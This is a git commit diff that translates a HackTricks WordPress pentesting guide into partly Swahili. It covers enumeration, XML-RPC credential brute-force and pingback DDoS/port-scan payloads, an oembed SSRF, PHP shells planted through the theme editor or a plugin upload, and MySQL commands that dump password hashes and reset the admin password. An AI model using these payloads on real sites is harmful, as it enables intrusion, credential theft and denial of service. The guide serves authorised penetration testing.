Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-08-24 12:21:53 +00:00
parent 73817869a2
commit 2a6d8916b7

View File

@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** hivyo ukibadilisha baadhi ya php ya mandhari kupata RCE huenda utatumia njia hiyo. Kwa mfano: Kutumia **theme twentytwelve** unaweza **access** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Faili zilizopakiwa** zinaenda kwa: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Files za themes zinaweza kupatikana katika /wp-content/themes/,** hivyo ukibadilisha baadhi ya php ya theme ili kupata RCE huenda utatumia njia hiyo. Kwa mfano: Ukiotumia **theme twentytwelve** unaweza **kupata** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **URL nyingine ambayo inaweza kusaidia ni:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Katika **wp-config.php** unaweza kupata nenosiri la mzizi la database.
- Katika **wp-config.php** unaweza kupata nenosiri wa root wa database.
- Njia za kuingia za default za kuangalia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Mafaili Makuu ya WordPress**
- `index.php`
- `license.txt` contains useful information such as the version WordPress installed.
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
- Login folders (may be renamed to hide it):
- `license.txt` ina taarifa muhimu kama toleo la WordPress lililowekwa.
- `wp-activate.php` inatumika kwa mchakato wa kuthibitisha kwa email wakati wa kuanzisha tovuti mpya ya WordPress.
- Folda za login (zinaweza kubadilishwa jina ili kuzijificha):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- The `wp-content` folder is the main directory where plugins and themes are stored.
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
- `xmlrpc.php` ni faili inayowakilisha kipengele cha WordPress kinachoruhusu data kutumwa kwa kutumia HTTP kama njia ya usafirishaji na XML kama mbinu ya uandishi. Aina hii ya mawasiliano imebadilishwa na WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folda `wp-content` ni saraka kuu ambapo plugins na themes zinahifadhiwa.
- `wp-content/uploads/` ni saraka ambapo faili zote zilizopakiwa kwenye jukwaa zinahifadhiwa.
- `wp-includes/` ni saraka ambapo mafaili ya msingi yanahifadhiwa, kama vyeti, fonti, faili za JavaScript, na widgets.
- `wp-sitemap.xml` Katika toleo la WordPress 5.5 na zaidi, WordPress huunda faili ya sitemap XML yenye machapisho yote ya umma na aina za posti zinazoweza kuulizwa kwa umma na taxonomies.
**Post exploitation**
- Fail ya `wp-config.php` ina taarifa zinazohitajika na WordPress kuungana na database kama vile jina la database, mwenyeji wa database, jina la mtumiaji na nenosiri, funguo za uthibitishaji na chumvi, na kiambatisho cha jedwali la database. Faili hii ya usanidi pia inaweza kutumika kuanzisha hali ya DEBUG, ambayo inaweza kuwa na manufaa katika kutatua matatizo.
- Faili `wp-config.php` ina taarifa zinazohitajika na WordPress kuunganishwa na database kama jina la database, host ya database, username na nenosiri, authentication keys na salts, na prefix ya jedwali la database. Faili hii ya usanidi pia inaweza kutumika kuwasha mode ya DEBUG, ambayo inaweza kusaidia katika utatuzi wa matatizo.
### Users Permissions
### Ruhusa za Watumiaji
- **Administrator**
- **Editor**: Publish and manages his and others posts
- **Author**: Publish and manage his own posts
- **Contributor**: Write and manage his posts but cannot publish them
- **Subscriber**: Browser posts and edit their profile
- **Editor**: Huchapisha na kusimamia machapisho yake na ya wengine
- **Author**: Huchapisha na kusimamia machapisho yake mwenyewe
- **Contributor**: Anaandika na kusimamia machapisho yake lakini hawezi kuyachapisha
- **Subscriber**: Kusoma machapisho na kuhariri profaili yao
## **Passive Enumeration**
## **Uorodheshaji Pasif**
### **Get WordPress version**
### **Pata toleo la WordPress**
Check if you can find the files `/license.txt` or `/readme.html`
Angalia kama unaweza kupata mafaili `/license.txt` au `/readme.html`
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Ndani ya **msimbo wa chanzo** wa ukurasa (mfano kutoka [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- CSS link files
- Faili za linki za CSS
![](<../../images/image (533).png>)
- JavaScript files
- Faili za JavaScript
![](<../../images/image (524).png>)
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Toa toleo kwa ujumla
### Pata matoleo kwa ujumla
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins and Themes
Huenda usiweze kupata Plugins na Themes zote zinazowezekana. Ili kugundua zote, utahitaji **kwa nguvu kujaribu orodha ya Plugins na Themes** (tunatumai kwetu kuna zana za kiotomatiki zinazoshikilia orodha hizi).
Huenda usiweze kupata Plugins and Themes zote zinazowezekana. Ili kugundua zote, utahitaji **actively Brute Force a list of Plugins and Themes** (kwa bahati nzuri kwetu kuna automated tools ambazo zina orodha hizi).
### Users
- **ID Brute:** Unapata watumiaji halali kutoka kwa tovuti ya WordPress kwa kujaribu kwa nguvu IDs za watumiaji:
- **ID Brute:** Unapata users halali kutoka kwenye tovuti ya WordPress kwa Brute Forcing users IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Ikiwa majibu ni **200** au **30X**, hiyo ina maana kwamba id ni **halali**. Ikiwa jibu ni **400**, basi id ni **batili**.
Kama majibu ni **200** au **30X**, hiyo ina maana id ni **valid**. Ikiwa jibu ni **400**, basi id ni **invalid**.
- **wp-json:** Unaweza pia kujaribu kupata taarifa kuhusu watumiaji kwa kuuliza:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Nyingine `/wp-json/` kiunganishi ambacho kinaweza kufichua taarifa kuhusu watumiaji ni:
Endpoint nyingine ya `/wp-json/` ambayo inaweza kufichua baadhi ya taarifa kuhusu watumiaji ni:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Kumbuka kwamba kipengele hiki kinatoa tu watumiaji ambao wamefanya chapisho. **Taarifa tu kuhusu watumiaji ambao wana kipengele hiki kimewezeshwa zitapatikana**.
Note that this endpoint only exposes users that have made a post. **Taarifa kuhusu watumiaji pekee ambao wamewezesha kipengele hiki zitatolewa**.
Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza kuvuja anwani za IP.
Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza leak anwani za IP.
- **Uainishaji wa jina la mtumiaji wa kuingia**: Wakati wa kuingia katika **`/wp-login.php`** ujumbe ni **tofauti** ikiwa **jina la mtumiaji lililotajwa lipo au la**.
- **Login username enumeration**: Wakati wa kuingia kwenye **`/wp-login.php`**, **ujumbe** hutofautiana kuonyesha ikiwa **username** ipo au la.
### XML-RPC
Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya brute-force ya akidi au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano).
Ikiwa `xml-rpc.php` iko active unaweza kufanya credentials brute-force au kuitumia kuanzisha DoS attacks dhidi ya rasilimali nyingine. (Kwa mfano, unaweza kuautomate mchakato huu kwa kutumia [hii](https://github.com/relarizky/wpxploit)).
Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hili:
Ili kuona ikiwa iko active jaribu kufikia _**/xmlrpc.php**_ na tuma ombi hili:
**Angalia**
```html
@ -122,7 +122,7 @@ Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hi
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya mbinu zinazoweza kutumika kujaribu nguvu za nywila. Ikiwa unaweza kupata yoyote kati yao unaweza kutuma kitu kama:
**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya mbinu zinazoweza kutumika kufanya brute-force ya credentials. Ikiwa unaweza kupata yoyote yao, unaweza kutuma kitu kama:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hi
</params>
</methodCall>
```
Ujumbe _"Jina la mtumiaji au nenosiri si sahihi"_ ndani ya jibu la msimbo 200 unapaswa kuonekana ikiwa akidi haziko sahihi.
Ujumbe _"Incorrect username or password"_ ndani ya 200 code response unapaswa kuonekana ikiwa credentials si sahihi.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Kwa kutumia akidi sahihi unaweza kupakia faili. Katika jibu, njia itaonekana ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Ukikitumia credentials sahihi unaweza kupakia faili. Katika response, path itaonekana ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ Kwa kutumia akidi sahihi unaweza kupakia faili. Katika jibu, njia itaonekana ([h
</params>
</methodCall>
```
Pia kuna **njia ya haraka** ya kujaribu nguvu za nywila kwa kutumia **`system.multicall`** kwani unaweza kujaribu nywila kadhaa kwenye ombi moja:
Pia kuna njia ya **haraka zaidi** ya brute-force credentials kwa kutumia **`system.multicall`** kwani unaweza kujaribu credentials kadhaa katika ombi moja:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Kupita 2FA**
**Kuepuka 2FA**
Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, kwa hivyo haitegemei 2FA. Hivyo, ikiwa una nywila halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na nywila hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoeleza katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Njia hii imeundwa kwa programu na si kwa watu, na ni ya zamani, kwa hivyo haiungi mkono 2FA. Hivyo, ikiwa una creds halali lakini mlango mkuu umewekwa 2FA, **huenda ukaweza kutumia xmlrpc.php kuingia kwa kutumia creds hizo ukiyeuka 2FA**. Kumbuka kuwa hutaweza kutekeleza vitendo vyote unavyoweza kupitia console, lakini bado huenda ukaweza kufikia RCE kama Ippsec anavyoelezea katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS au skanning ya port**
**DDoS au port scanning**
Ikiwa unaweza kupata njia _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/port yoyote.\
Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** i **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria port yoyote).
Iwapo unaweza kupata method _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa host/port yoyote.\
Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za **Wordpress** ziweze **kupata** eneo moja (hivyo kusababisha **DDoS** katika eneo hilo) au unaweza kuitumia kufanya **Wordpress** i**scan** baadhi ya **mtandao** wa ndani (unaweza kuainisha port yoyote).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kw
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Ikiwa unapata **faultCode** yenye thamani **kubwa** kuliko **0** (17), inamaanisha kwamba bandari iko wazi.
Ikiwa unapata **faultCode** yenye thamani **kubwa** kuliko **0** (17), ina maana bandari iko wazi.
Angalia matumizi ya **`system.multicall`** katika sehemu iliyopita kujifunza jinsi ya kutumia mbinu hii kusababisha DDoS.
Tazama matumizi ya **`system.multicall`** katika sehemu iliyopita ili kujifunza jinsi ya kuitumia vibaya ili kusababisha DDoS.
**DDoS**
```html
@ -209,17 +209,17 @@ Angalia matumizi ya **`system.multicall`** katika sehemu iliyopita kujifunza jin
### wp-cron.php DoS
Hii faili kwa kawaida ipo chini ya mzizi wa tovuti ya Wordpress: **`/wp-cron.php`**\
Wakati faili hii inapo **fikiwa**, **query** ya MySQL "**nzito**" inafanywa, hivyo inaweza kutumika na **washambuliaji** ku **leta** **DoS**.\
Pia, kwa kawaida, `wp-cron.php` inaitwa kwenye kila upakiaji wa ukurasa (wakati wowote mteja anapohitaji ukurasa wowote wa Wordpress), ambayo kwenye tovuti zenye trafiki kubwa inaweza kusababisha matatizo (DoS).
Faili hii kwa kawaida hupatikana chini ya root ya tovuti ya Wordpress: **`/wp-cron.php`**\
Wakati faili hii inapofikiwa a "**nzito**" MySQL **query** inafanywa, hivyo inaweza kutumiwa na **washambuliaji** **kusababisha** **DoS**.\
Aidha, kwa default, the `wp-cron.php` huitwa kila mara kwenye page load (wakati wowote client anapoomba ukurasa wowote wa Wordpress), jambo ambalo kwenye tovuti zenye trafiki kubwa linaweza kusababisha matatizo (DoS).
Inapendekezwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya mwenyeji inayofanya vitendo vinavyohitajika kwa muda wa kawaida (bila kusababisha matatizo).
Inashauriwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya host itakayotekeleza vitendo vinavyohitajika kwa vipindi vya kawaida (bila kusababisha issues).
### /wp-json/oembed/1.0/proxy - SSRF
Jaribu kufikia _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ na tovuti ya Worpress inaweza kufanya ombi kwako.
Jaribu kufikia _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ na tovuti ya Worpress inaweza kutuma request kwako.
Hii ndiyo jibu wakati haifanyi kazi:
This is the response when it doesn't work:
![](<../../images/image (365).png>)
@ -230,7 +230,7 @@ Hii ndiyo jibu wakati haifanyi kazi:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Chombo hiki kinakagua ikiwa **methodName: pingback.ping** na kwa njia **/wp-json/oembed/1.0/proxy** na ikiwa inapatikana, inajaribu kuzi exploit.
Chombo hiki huangalia kama **methodName: pingback.ping** ipo na kwa path **/wp-json/oembed/1.0/proxy** na ikiwa ipo, inajaribu kui-exploit.
## Automatic Tools
```bash
@ -238,28 +238,28 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Pata ufikiaji kwa kubadilisha kidogo
## Pata ufikiaji kwa kubadilisha bit
Zaidi ya shambulio halisi, hii ni udadisi. Kwenye CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kubadilisha kidogo 1 kutoka kwa faili yoyote ya wordpress. Hivyo unaweza kubadilisha nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili NOP operesheni ya NOT (`!`).
Zaidi ya shambulio la kweli, hii ni jambo la kushangaza. Katika CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kugeuza bit 1 kutoka kwa faili yoyote ya wordpress. Kwa hivyo unaweza kugeuza nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili kufanya NOP kwa operesheni ya NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
## **Paneli RCE**
**Kubadilisha php kutoka kwa mandhari inayotumika (nywila za admin zinahitajika)**
**Kurekebisha php kutoka kwenye theme inayotumika (admin credentials needed)**
Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kushoto)
Appearance → Theme Editor → 404 Template (kwa upande wa kulia)
Badilisha maudhui kuwa php shell:
Badilisha yaliyomo kwa php shell:
![](<../../images/image (384).png>)
Tafuta mtandaoni jinsi ya kufikia ukurasa huo ulio sasishwa. Katika kesi hii, unapaswa kufikia hapa: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Tafuta mtandaoni jinsi ya kufikia ukurasa uliosasishwa huo. Katika kesi hii lazima ufikie hapa: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
You can use:
Unaweza kutumia:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
@ -269,8 +269,8 @@ to get a session.
### PHP plugin
Inaweza kuwa inawezekana kupakia faili za .php kama plugin.\
Unda backdoor yako ya php kwa kutumia kwa mfano:
Inawezekana kupakia faili za .php kama plugin.\
Tengeneza php backdoor yako kwa mfano:
![](<../../images/image (183).png>)
@ -286,74 +286,74 @@ Bonyeza Procced:
![](<../../images/image (70).png>)
Labda hii haitafanya chochote kwa wazi, lakini ukitembelea Media, utaona shell yako imepakuliwa:
Huenda hii haifanyi chochote dhahiri, lakini ukielekea Media, utaona shell yako imepakiwa:
![](<../../images/image (462).png>)
Fikia na utaona URL ya kutekeleza reverse shell:
Fungua na utaona URL ya kutekeleza reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
### Kupakia na kuamsha plugin hatarishi
Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na inaweza kutumika kupata web shell. Mchakato huu unafanywa kupitia dashibodi ya WordPress kama ifuatavyo:
Njia hii inahusisha usakinishaji wa plugin hatarishi inayojulikana kuwa na udhaifu na inaweza kutumika kupata web shell. Mchakato huu unafanywa kupitia WordPress dashboard kama ifuatavyo:
1. **Plugin Acquisition**: Plugin inapatikana kutoka chanzo kama Exploit DB kama [**hapa**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Plugin hupatikana kutoka chanzo kama Exploit DB kama [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Tembelea dashibodi ya WordPress, kisha nenda kwa `Dashboard > Plugins > Upload Plugin`.
- Pakia faili ya zip ya plugin uliyopakua.
3. **Plugin Activation**: Mara plugin inapofanikiwa kufungwa, inapaswa kuamshwa kupitia dashibodi.
- Elekea kwenye WordPress dashboard, kisha nenda `Dashboard > Plugins > Upload Plugin`.
- Pakia faili la zip la plugin uliopakua.
3. **Plugin Activation**: Baada plugin itakapowekwa kwa mafanikio, lazima iamshwe kupitia dashboard.
4. **Exploitation**:
- Ikiwa plugin "reflex-gallery" imewekwa na kuamshwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.
- Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kikitoa ufikiaji usioidhinishwa kwa tovuti.
- Imepangwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.
- Iwapo plugin "reflex-gallery" imewekwa na kuamshwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.
- Metasploit framework inatoa exploit kwa udhaifu huu. Kwa kuingiza module inayofaa na kutekeleza amri maalum, session ya meterpreter inaweza kuanzishwa, ikitoa ufikaji usioidhinishwa kwa tovuti.
- Inabainishwa kwamba hii ni mojawapo tu ya njia nyingi za kushambulia tovuti ya WordPress.
Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uhamasishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile upimaji wa penya kwa ruhusa wazi.
Yaliyomo yanajumuisha msaada wa picha unaoonyesha hatua kwenye WordPress dashboard za kusakinisha na kuamsha plugin. Hata hivyo, ni muhimu kutambua kwamba kutumia udhaifu kwa njia hii ni kinyume cha sheria na haikubaliki bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama penetration testing kwa idhini wazi.
**Kwa hatua za kina zaidi angalia:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
- _**Privilege Escalation:**_ Inaunda mtumiaji katika WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia plugin yako ya kawaida (backdoor) kwenye WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Kijengwa ndani katika WordPress.
- _**(RCE) Built-In Theme Edit:**_ Hariri Mandhari za Kijengwa ndani katika WordPress.
- _**(Custom) Custom Exploits:**_ Utekelezaji wa Kawaida kwa Plugins/Mandhari za Tatu za WordPress.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuinua udhaifu wa **Cross-Site Scripting (XSS)** hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Inaunda user kwenye WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia custom plugin (backdoor) yako kwenye WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Hariri Built-In Plugins ndani ya WordPress.
- _**(RCE) Built-In Theme Edit:**_ Hariri Built-In Themes ndani ya WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits kwa Third-Party WordPress Plugins/Themes.
## Post Exploitation
Extract usernames and passwords:
Toa majina ya watumiaji na nywila:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Badilisha nenosiri la admin:
Badilisha admin password:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
### Attack Surface
### Uso wa Mashambulio
Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata udhaifu katika kazi zake. Unaweza kupata jinsi plugin inaweza kufichua kazi katika alama zifuatazo na baadhi ya mifano ya plugins zenye udhaifu katika [**hiki kipande cha blog**](https://nowotarski.info/wordpress-nonce-authorization/).
Kujua jinsi plugin ya Wordpress inaweza kuonyesha utendaji ni muhimu ili kugundua udhaifu katika utendaji wake. Unaweza kuona jinsi plugin inaweza kuonyesha utendaji katika pointi zifuatazo na baadhi ya mifano ya plugins zilizo dhaifu katika [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Moja ya njia ambazo plugin inaweza kufichua kazi ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali jukumu lake).
Moja ya njia plugin inaweza kufichua functions kwa watumiaji ni kupitia AJAX handlers. Hizi zinaweza kuwa na mende za logic, authorization, au authentication. Zaidi ya hayo, mara nyingi functions hizi zitatumia authentication na authorization kulingana na kuwepo kwa wordpress nonce ambayo **mtumiaji yeyote aliye authenticated katika instance ya Wordpress anaweza kuwa nayo** (bila kujali role yake).
Hizi ndizo kazi ambazo zinaweza kutumika kufichua kazi katika plugin:
Hizi ndizo functions zinazoweza kutumika kufichua function katika plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Matumizi ya `nopriv` yanaufanya mwisho uweze kufikiwa na watumiaji wowote (hata wasio na uthibitisho).**
**Matumizi ya `nopriv` hufanya endpoint ipatikane kwa watumiaji wote (hata wale wasio na uthibitisho).**
> [!CAUTION]
> Zaidi ya hayo, ikiwa kazi inakagua tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inakagua tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
> Zaidi ya hayo, ikiwa function inabaki tu kuangalia idhini ya mtumiaji kwa kutumia function `wp_verify_nonce`, function hii inachunguza tu kuwa mtumiaji ameingia, kwa kawaida haisemi kuangalia cheo la mtumiaji. Hivyo, watumiaji wenye ruhusa ndogo wanaweza kuwa na ufikiaji wa vitendo vyenye ruhusa za juu.
- **REST API**
Pia inawezekana kufichua kazi kutoka wordpress kwa kujiandikisha AP ya rest kwa kutumia kazi `register_rest_route`:
Pia inawezekana kufichua functions kutoka wordpress kwa kusajili REST API kwa kutumia function `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback` ni callback kwa kazi inayokagua kama mtumiaji aliyepewa ruhusa kuita njia ya API.
The `permission_callback` ni callback kwa function inayothibitisha ikiwa mtumiaji fulani ameidhinishwa kupiga njia ya API.
**Ikiwa kazi ya ndani `__return_true` inatumika, itakosa tu kukagua ruhusa za mtumiaji.**
**Ikiwa function ya built-in `__return_true` inatumika, itapitisha tu ukaguzi wa ruhusa za mtumiaji.**
- **Upatikanaji wa moja kwa moja wa faili la php**
- **Ufikiaji wa moja kwa moja wa faili ya php**
Kwa kweli, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kwa moja kutoka mtandaoni. Hivyo, ikiwa plugin inatoa kazi yoyote dhaifu inayoweza kuanzishwa kwa kuingia tu kwenye faili, itakuwa rahisi kutumiwa na mtumiaji yeyote.
Kwa kawaida, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kwa moja kupitia web. Kwa hivyo, endapo plugin itafichua utendaji hatarishi unaoamshwa kwa kuingia tu kwenye faili, utaweza kutumiwa na mtumiaji yeyote.
### Kufuta Faili za Kijakazi zisizo na Uthibitisho kupitia wp_ajax_nopriv (Litho Theme <= 3.0)
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Mandhari na plugins za WordPress mara nyingi hutoa wahandisi wa AJAX kupitia viunganishi vya `wp_ajax_` na `wp_ajax_nopriv_`. Wakati toleo la **_nopriv_** linapotumika **callback inapatikana kwa wageni wasio na uthibitisho**, hivyo hatua yoyote nyeti lazima pia iwe na:
